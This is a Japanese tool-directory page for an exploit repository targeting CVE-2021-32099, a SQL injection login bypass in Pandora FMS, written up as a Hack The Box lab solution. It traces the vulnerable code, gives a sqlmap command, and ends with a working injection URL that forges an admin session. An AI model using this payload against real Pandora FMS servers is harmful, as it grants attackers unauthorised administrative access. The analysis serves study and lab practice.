Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2021-32099_SQLi — CVE-2021-32099 SQLインジェクションにより、攻撃者がログインをバイパスできる可能性があります。HTBより愛を込めて | Kitploit
ツール/GitHubGitHub/l3eol3eo/cve-2021-32099_sqli
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト
GitHubl3eol3eo/cve-2021-32099_sqli

CVE-2021-32099_SQLi

CVE-2021-32099 SQLインジェクションにより、攻撃者がログインをバイパスできる可能性があります。HTBより愛を込めて

リポジトリを見る
714年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2021-32099 SQLi ログインバイパス

Pandora.htb で User Flag を読み取ろうとする際に便利です。

CVE-2021-32099 SQLi により、攻撃者はログインをバイパスできます。

対象

エクスプロイト対象: Pandora FMS v7.0NG.742_FIX_PERL2020

分析

cvedetail から読み取ります。対象のエンドポイントは次のとおりです: http://localhost:8000/pandora_console/include/chart_generator.php?session_id=PayloadHere => Access denied.

alt text sqlmap -r req.txt -p session_id --dbms=mysql --dbs --risk=3 --level=5

列挙後、tsessions_php テーブルに焦点を当てます。tsessions_php には 3 つのカラムがあります: id_session、last_active、data。( sqlmap の結果は形式が正しくありません )

alt text

/include/chart_generator.php

root@kitploit:~
71  // Try to initialize session using existing php session id.
72  $user = new PandoraFMS\User(['phpsessionid' => $_REQUEST['session_id']]);
73  if (check_login(false) === false) {   
74     // Error handler.
 ⋮
96  }
97
98  // Access granted.
  • phpsessionid には session_id (PayloadHere) の値が代入されます。

/include/lib/User.php

root@kitploit:~
60  public function __construct($data)
61  {
 ⋮
68     if (is_array($data) === true) {
69        if (isset($data['phpsessionid']) === true) {
70           $this->sessions[$data['phpsessionid']] = 1;
71           $info = \db_get_row_filter(
72              'tsessions_php',
73              ['id_session' => $data['phpsessionid']]
74          );
75
76         if ($info !== false) {
77            // Process.
78            $session_data = session_decode($info['data']);
79            $this->idUser = $_SESSION['id_usuario'];
80
81            // Valid session.
82            return $this;
83         }
  • id_session には phpsessionid の値が代入されます。
  • すべてのコードは次のクエリを提供します: select * from tsessions_php where id_session=***PayloadHere***

/include/lib/db/mysql.php

root@kitploit:~
848  function db_get_row_filter($table, $filter, $fields=false)
849  {  
850     if (empty($fields)) {
851         $fields = '*';
852     }
 ⋮
861     $filter = db_format_array_where_clause_sql($filter, ' WHERE ');
 ⋮
868     $sql = sprintf('SELECT %s FROM %s %s', $fields, $table, $filter);

POC:

http://localhost:8000/pandora_console/include/chart_generator.php?session_id=PayloadHere%27%20union%20select%20%271%27,%272%27,%27id_usuario|s:5:%22admin%22;%27%20--%20a => Pandora FMS Graph ( - )

再読み込み: http://localhost:8000/pandora_console/ でウェブページにアクセスします。

参考:

https://blog.sonarsource.com/pandora-fms-742-critical-code-vulnerabilities-explained

https://portswigger.net/daily-swig/multiple-vulnerabilities-in-pandora-fms-could-trigger-remote-execution-attack

ツールをダウンロード